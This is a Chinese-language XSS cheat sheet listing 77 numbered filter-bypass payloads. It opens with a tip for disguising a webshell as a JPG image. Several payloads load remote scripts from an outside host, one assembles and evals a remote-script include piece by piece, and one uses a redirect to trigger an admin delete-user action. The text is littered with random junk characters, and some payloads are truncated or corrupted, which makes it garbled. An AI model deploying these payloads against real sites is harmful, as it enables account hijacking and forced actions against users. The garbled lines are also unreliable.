跨站图片shell V$ B, j) k! I; \$ ]
XSS跨站代码 <script>alert("")</script>
, H2 l. @% K8 {2 ?" T, {* }
! I+ ^2 W$ z& c1 k: K* `将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
/ y9 P! A+ M9 D
7 [: u! O6 s0 \" G$ e
9 c. p6 U5 d7 L5 z
5 Y8 w, V4 u/ }, F- T1)普通的XSS JavaScript注入
# r% _# \4 a1 }' }" [7 y( B<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
& T G- d( w2 e9 x4 S/ T6 L8 s" _; K$ d4 `. d0 g" R+ m' ^* y
(2)IMG标签XSS使用JavaScript命令/ H& s4 x1 s& p" j; I5 k
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>8 N" }8 R/ @: k% F! I/ o. i
% b6 I. W- r' l) d" x(3)IMG标签无分号无引号
+ o8 n' T9 y0 h<IMG SRC=javascript:alert(‘XSS’)>( q& A/ n3 P: _. q: U
9 a7 D) W, k* m1 y7 m(4)IMG标签大小写不敏感6 |1 m" k. L- w
<IMG SRC=JaVaScRiPt:alert(‘XSS’)> g0 G) l0 y) U0 f
, U4 Z4 | y6 F. r1 v) t8 W; k" ~: @(5)HTML编码(必须有分号)/ x }; ^% {- N* ]& C
<IMG SRC=javascript:alert(“XSS”)>
" h2 j- |1 z% d- E' _8 H9 P( j
(6)修正缺陷IMG标签
1 r8 z7 i. j! h0 U: k2 L; w<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>/ i2 u0 f0 b, Q; [4 d* r$ b0 O8 G
7 Y* B; Y- A" q$ W3 ?6 n(7)formCharCode标签(计算器)& z, f6 F% L/ O% T6 [& Q: i
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>) T" w% O0 K o6 c6 ]) g
' R r9 S; A9 K- `% T3 @8 }/ |5 K(8)UTF-8的Unicode编码(计算器)' p: o/ z, d8 ]+ v
<IMG SRC=jav..省略..S')>
+ A3 u9 m5 o9 P7 Z
, _8 q' b2 e* [) k: _(9)7位的UTF-8的Unicode编码是没有分号的(计算器)0 A# A' w- E) p3 ~4 ^0 [
<IMG SRC=jav..省略..S')>- i5 C) d6 M: ^, g! N2 b% L5 {
9 [2 m$ i, T! W. Y9 c. r(10)十六进制编码也是没有分号(计算器)
+ X2 c/ z& ~0 f7 x" \<IMG SRC=java..省略..XSS')># _, z3 L9 n4 {* D( G& K
1 v; Q+ o0 B `+ K; A
(11)嵌入式标签,将Javascript分开
6 a2 r! _" W% p: e<IMG SRC=”jav ascript:alert(‘XSS’);”>0 V1 t, J; m U: g; j6 G
; x* P9 c0 N {% {(12)嵌入式编码标签,将Javascript分开5 A7 H' _( C/ G5 B( V& S1 G. W
<IMG SRC=”jav ascript:alert(‘XSS’);”>
" ?+ x, h% H. z5 B3 y- Y
* A' T0 B% P/ R- \0 S(13)嵌入式换行符
1 a2 [* h0 M3 N# m<IMG SRC=”jav ascript:alert(‘XSS’);”>
$ D( l4 |3 `: o8 P+ `9 K! A
1 ?( c# N+ H" S" o(14)嵌入式回车; m( g0 [( E5 O: i) \
<IMG SRC=”jav ascript:alert(‘XSS’);”>
7 I* c" K8 {4 W" f& U9 e0 q
0 @0 C$ L! @5 h2 Q(15)嵌入式多行注入JavaScript,这是XSS极端的例子
$ `! s" \+ ~8 n<IMG SRC=”javascript:alert(‘XSS‘)”>: }# s' @+ Z4 g( s& @& B, d& o# `
" n, _6 ~9 z+ R
(16)解决限制字符(要求同页面)
# M* \$ ~) J/ z) t' W6 G<script>z=’document.’</script>
& Q. @$ a/ E; b<script>z=z+’write(“‘</script>5 J" I; ~1 ^/ e; u% Q
<script>z=z+’<script’</script>
0 a& R. L% D: [ [* o* h! d$ N% Y<script>z=z+’ src=ht’</script>; T. n5 S5 V9 C0 d" ^& P6 H
<script>z=z+’tp://ww’</script>2 W' q9 q3 |: Q+ h" a- A( ]5 C
<script>z=z+’w.shell’</script>
% W& a! [& x1 c! s<script>z=z+’.net/1.’</script>
7 }6 L7 N/ M& B0 J9 j8 p<script>z=z+’js></sc’</script>
9 G$ |+ ]2 n# P n6 b% g A! x<script>z=z+’ript>”)’</script>
" d1 P) M& e# o# H% N4 @) s+ i<script>eval_r(z)</script>
( r; x P) S3 U1 Y- t4 \8 k5 m
2 u$ ^% D. X8 C# ~! F9 V0 r6 e; n(17)空字符 z! s" c( L {8 `( a, y
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
4 d! E8 R: J: j% k9 ]1 Z! Z6 n
( Y( X' y7 z; S. x- {0 k(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用$ ]; b! j; W! x+ S4 [ j
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out& ~. W, K2 _" a" }. t2 H
! i% H* ~# x8 m3 I$ z" I(19)Spaces和meta前的IMG标签) r3 s* A" T, l9 A6 R+ f
<IMG SRC=” javascript:alert(‘XSS’);”>7 W- p+ }. V& x: P$ N
( U& \2 ^0 \" R$ d$ P# j(20)Non-alpha-non-digit XSS+ K% p Y, b- a# c
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>/ H/ @& I* V! B6 |: ~
% r! J% A+ l$ _
(21)Non-alpha-non-digit XSS to 2
; H. {1 ~, j e* O3 O/ o<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>. T: N! ~* B% J( H) ^2 c* G: b
' m2 m7 v! J" S7 X5 F9 p(22)Non-alpha-non-digit XSS to 3& Y5 }: _3 k; m9 G
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
+ c& e7 N. L! Z
8 h4 [+ |+ A, i6 n6 d(23)双开括号
$ T W1 n5 x# p<<SCRIPT>alert(“XSS”);//<</SCRIPT>& p5 O# \" ^' A
& a: n8 A( g) t: w7 v- u/ Y* b% F
(24)无结束脚本标记(仅火狐等浏览器)
0 f; Z! X* ^8 Q7 S<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
5 G6 X3 J2 _$ X- t6 k; o/ P9 c, |& `# G: f7 A2 X
(25)无结束脚本标记28 u1 |" s- ?* Y" U. r! g
<SCRIPT SRC=//3w.org/XSS/xss.js>5 g! B" K( g/ { d9 C
. B1 S2 b3 Q$ v, d9 k6 Z3 s9 F( T
(26)半开的HTML/JavaScript XSS2 A% Y: h2 r3 ~% K$ w& V
<IMG SRC=”javascript:alert(‘XSS’)”6 i" b0 Q: M3 T7 @: x
/ ?( F6 ?: r- [: V/ t, [, B(27)双开角括号
+ q+ H* C- G6 ^. }<iframe src=http://3w.org/XSS.html <
/ k9 Q* m; F( k, b: V9 S7 M; ]! O7 T- N
(28)无单引号 双引号 分号
$ J7 m+ H6 Z m4 q8 x<SCRIPT>a=/XSS/( J d# @) w# C5 D5 y, R# _
alert(a.source)</SCRIPT>: }0 C/ t8 m4 a# o. }$ ?) F- e
: ]6 r9 ]3 w5 N @5 B% M
(29)换码过滤的JavaScript
7 m! F6 w& Y0 K\”;alert(‘XSS’);//
?3 C3 L) T8 z( \2 H5 V& M' D+ v6 M
" d1 e4 J/ }' V. m6 f(30)结束Title标签& f$ d' N2 j' h0 i s8 K; }
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT># G; F' T5 Q5 k
* R# N! U) f( g5 ]
(31)Input Image
0 H- s5 @% ]* i) G! O<INPUT SRC=”javascript:alert(‘XSS’);”>! T! H3 F4 [ h/ Z) l: U
% t/ d9 A+ M% k$ n' \# ^* o(32)BODY Image
: I/ M4 E( ]/ H X* ~4 C9 h! u<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
6 X, m+ s' k- K. ~8 b* }
' Q- i- f8 V) f g) j$ a9 G3 c(33)BODY标签& \) L4 H. O5 [" N; ?: P9 |! B
<BODY(‘XSS’)>+ G) U" U" b, m9 i
+ e; t4 b: \5 T% S( P, I
(34)IMG Dynsrc
$ f8 c; C7 q5 h4 x: P* {" }<IMG DYNSRC=”javascript:alert(‘XSS’)”>
`3 |. s% x5 d- K" o0 z
8 w1 o' d6 ?7 [+ m2 _, Y(35)IMG Lowsrc3 S' ?5 A& g' f. T9 b9 U1 q) z: K
<IMG LOWSRC=”javascript:alert(‘XSS’)”>0 C; b, b: h. w* h
5 L. O+ R, x% N8 W. _+ G( L0 G
(36)BGSOUND3 A( L4 r5 V' \1 \
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
- F3 d/ h* j2 t8 ]1 n
' F. h, V4 d) e( j! } h(37)STYLE sheet
; r) u& J0 d# ^: B5 {# S<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
* e; n3 @2 B2 h( q+ G8 {8 L0 {7 q* S
(38)远程样式表
H* I# \2 d; U, \<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
0 n0 D# [) Y' M3 p) \( s( o# m+ E: D7 Q {
(39)List-style-image(列表式)1 b& m& H+ s4 ]0 Z' h5 K
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS; U( f# l9 A. a1 O$ S
, ^7 N7 ?+ j- \9 g' o/ `
(40)IMG VBscript
: Z+ S* U& V0 b n: R& w<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
2 R/ G( T1 U. f+ L! ^# s: m! x- O" Q) y; {4 Y, y
(41)META链接url
' C% P; d& K: U<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>1 z! O- a6 a- \& m
3 ?# H+ I+ B! ?5 E, T" G
(42)Iframe
! h; ?6 S/ k6 L; T<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
, N: n! s4 o* W7 J; g* \$ b/ U! i" ?) z(43)Frame
9 o& }5 E5 a3 Q# W- e<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
5 q# U* P* v: r( h' H" \* L" K. N0 H; k
(44)Table
, z) z3 D! ~2 v+ H: H9 }<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>1 h) A; E/ }! Q1 Y5 |* a$ c
y. L( l5 \& \, S! u$ Z- o
(45)TD0 N! b3 }& W5 A: \
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>4 x! L5 @( c5 A y
7 |# m0 d- y) V1 J* ]
(46)DIV background-image
' k8 K+ A0 Z0 E" u, [0 T& r6 u/ A: d<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>& T) M/ l5 g/ W c _
/ ^$ e3 j* j+ c/ m/ V. z
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
0 D: D, ?: q( N% d: G<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>" h% Q* f$ I1 } B
& C3 F) j9 C% |: ^$ I# I
(48)DIV expression$ y" j7 a! n1 V; F$ P- a; m; M P
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>7 q* `% E! @$ X% }" E
' @! u) V* f) T+ H- g4 p# U6 e
(49)STYLE属性分拆表达
8 A8 G" V- j4 X( ^<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>+ \* }5 A7 T2 u) n3 D: x; ?
! b1 U, u P; t
(50)匿名STYLE(组成:开角号和一个字母开头)2 \5 @7 _* }& W `5 k
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>+ a* i! ~. y% F8 C7 p1 j; o
) `! w# b6 F$ J+ L0 T% }, C4 O(51)STYLE background-image# o/ |# Z$ z1 v2 M) V
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
1 ~1 T# C2 Q; f% E1 _2 n8 S8 h, b/ @+ o- A! P/ k! ?2 q
(52)IMG STYLE方式
' Y/ z: k% O; \+ \/ `4 S4 t3 N4 gexppression(alert(“XSS”))’>. i/ p: X$ s, j1 j/ ^/ {
# p: m6 c6 p% {(53)STYLE background
; T' }' e- t3 ~# V c6 V' c<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE># J+ ]) S7 x/ H( H2 K" A
- q/ u( |! u4 j( N: T+ l
(54)BASE
3 {% Y9 t! ^* D& i* K<BASE HREF=”javascript:alert(‘XSS’);//”>
7 a+ A! }0 Z# E) [- Z) o# a: u' j6 a% ]7 v5 O E* ]
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS, L; e3 @) A5 P- x; ~* X
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
2 C* ^- v7 f; }
. o2 s% S' c- W(56)在flash中使用ActionScrpt可以混进你XSS的代码" ^& ^/ ~1 c- d; M9 g8 C
a=”get”;7 j' u- g& s1 X% H; a$ J
b=”URL(\”";1 {2 D6 T8 H2 v5 d0 y2 v9 x; W
c=”javascript:”;
5 E" a4 Q* i9 B: y5 {- }1 Md=”alert(‘XSS’);\”)”;
2 Q8 R) f3 P7 \& Y% K9 Feval_r(a+b+c+d);
' r) E: X0 Q0 G% e
3 A9 ?& r: ~5 `$ E' X; {(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
' ?5 F$ h6 ^/ h) S) Q+ A<HTML xmlns:xss>
# Q6 `* K) K5 \) N! ^6 J<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>. C8 z4 w% I9 {# \8 g: _: _. [0 r) U
<xss:xss>XSS</xss:xss>1 o9 e2 i8 D/ i8 _: Z0 {) i
</HTML>
2 r5 Z6 } ~" |# J: N% A
4 F! \; ~! v8 [(58)如果过滤了你的JS你可以在图片里添加JS代码来利用$ V. c$ R( A; u2 O) ^9 e, _) F
<SCRIPT SRC=””></SCRIPT>
+ N" a6 A0 `$ K$ {' [" n
% Z( s/ ~( Y3 k; r' U0 F(59)IMG嵌入式命令,可执行任意命令
7 g, Z* a6 y7 w1 A( U( [<IMG SRC=”http://www.XXX.com/a.php?a=b”>
, ]4 b4 K+ e6 v, G! I& u' R
- G' P0 {1 D) N3 m(60)IMG嵌入式命令(a.jpg在同服务器)
+ Q: [# @2 `/ `$ h* s$ f' uRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser8 K( E' g8 p: ^, t
% }0 e* R6 z- K2 B! P
(61)绕符号过滤
% ~& U: b1 W- M2 s, d; s0 i, m5 f<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>4 M) U$ I" B& K) d6 A
$ ?6 ^) V: R7 x; }% |(62)9 g8 `" K+ r; c$ V) C0 I
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>0 ^: d1 w; }, K' X3 P; W
" K, `: b% u7 L* G ?(63); S* ^+ l U0 ~8 z/ I
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
0 _/ R' Y* X# r2 T9 g# Y$ t" X% C$ l8 m, K9 W4 h; Z
(64)% J. K% k6 t3 |( B& J
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>+ P- C, j6 `6 j" u0 j+ _' l0 z
1 F4 R) Q: Z. B; g. a2 L4 ]$ q
(65)0 K5 X" w1 e A" x7 |2 `
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>& O0 a% s6 f' ^, X2 S
0 f& n" h# B1 q. |(66)% J: ?) v5 H4 e2 E; A2 L9 O2 x( ^
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
) S3 M% V% @6 R' _, h( E9 B1 p
5 V% @8 B5 m+ Y9 J3 @ }(67)
8 q8 v f) n- c p' u N! t! ]<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
! a K$ G3 w/ F! ]* c
0 s5 r @$ }1 E5 U(68)URL绕行) B% ?5 ]6 u( B, C% Q
<A HREF=”http://127.0.0.1/”>XSS</A>
! B0 l2 A( H! z( H
6 X+ L4 e. P, o4 `6 e(69)URL编码# F% L" x( A' D* k4 i' k
<A HREF=”http://3w.org”>XSS</A>
& m; i7 k/ d# t' T! g& I( i5 Z2 }/ U( V7 H1 Q6 h1 M8 N# p+ T( |
(70)IP十进制
# V, K) ~0 {) G- A) H; a<A HREF=”http://3232235521″>XSS</A>7 [5 M" D6 q6 f) M: S% r+ A" m
/ w/ @3 z+ [" a9 Y j, n- M
(71)IP十六进制+ N+ ~5 N( g0 ?5 J
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
0 A# _( B7 y! t8 a! j' \" `4 t# C2 c( I5 }$ x
(72)IP八进制
u% Q4 [. s( f<A HREF=”http://0300.0250.0000.0001″>XSS</A># z' W. a, E& c; v4 Y3 X
! ]) T5 y$ {7 Q( q( x1 c0 t! s2 Y) J
(73)混合编码. W! Y+ u8 V9 P; @
<A HREF=”h
) @& R8 k; B w3 H' w; |tt p://6 6.000146.0×7.147/”">XSS</A>% o( i& Q" K) ?) c$ ?' ^, M
~, e. V' J# H5 W7 ^- s& S(74)节省[http:]
. x# G7 e4 c4 Z$ j- [. F<A HREF=”//www.google.com/”>XSS</A>
8 j! ]- b4 j$ J" E' j0 k& `' k! Z- `" e9 o- V; K: j7 w
(75)节省[www]+ F* I+ y% F6 p3 U) ^( L
<A HREF=”http://google.com/”>XSS</A>
2 R3 k2 H$ |' \+ d3 J! b1 [: m, _. D; o
(76)绝对点绝对DNS: \- I) B: \* ]9 I
<A HREF=”http://www.google.com./”>XSS</A>
; R& U5 b7 w% _4 o# H% q/ S/ I' }1 M/ n- Z" W! C1 p
(77)javascript链接
9 W& r3 M- T Q2 x4 L/ I+ F<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
% }( h8 W- f/ M8 \/ x! @8 e |